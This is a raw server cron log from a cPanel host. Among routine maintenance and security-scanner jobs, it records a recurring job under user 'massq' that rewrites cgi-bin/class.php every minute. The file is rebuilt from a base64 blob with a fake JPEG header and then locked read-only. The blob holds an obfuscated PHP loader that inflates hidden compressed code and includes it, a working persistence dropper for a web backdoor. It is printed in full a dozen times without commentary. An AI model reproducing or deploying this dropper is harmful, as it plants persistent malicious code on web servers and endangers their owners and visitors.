Aug 31 07:38:01 server CROND[29486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:38:01 server CROND[29487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:39:01 server CROND[29950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:39:01 server CROND[29951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:39:01 server CROND[29953]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 07:39:01 server CROND[29952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:40:01 server CROND[30332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:40:01 server CROND[30334]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:40:01 server CROND[30335]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:40:01 server CROND[30337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:40:01 server CROND[30338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:40:01 server CROND[30336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:40:01 server CROND[30339]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:40:01 server CROND[30340]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:41:01 server CROND[31163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:41:01 server CROND[31164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:41:01 server CROND[31165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:42:01 server CROND[31549]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 07:42:01 server CROND[31550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:42:01 server CROND[31551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:42:01 server CROND[31552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:43:01 server CROND[31917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:43:01 server CROND[31919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:43:01 server CROND[31918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:44:01 server CROND[32374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:44:01 server CROND[32375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:44:01 server CROND[32376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:45:01 server CROND[32740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:45:01 server CROND[32741]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:45:01 server CROND[32749]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:45:01 server CROND[32750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:45:01 server CROND[32751]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:45:01 server CROND[32753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:45:01 server CROND[32757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:46:01 server CROND[1304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:46:01 server CROND[1305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:46:01 server CROND[1306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:47:01 server CROND[1723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:47:01 server CROND[1724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:47:01 server CROND[1725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:48:01 server CROND[2131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:48:01 server CROND[2132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:48:01 server CROND[2133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:49:01 server CROND[2559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:49:01 server CROND[2560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:49:01 server CROND[2562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:50:01 server CROND[3118]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:50:01 server CROND[3120]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:50:01 server CROND[3123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:50:01 server CROND[3121]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 07:50:01 server CROND[3128]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
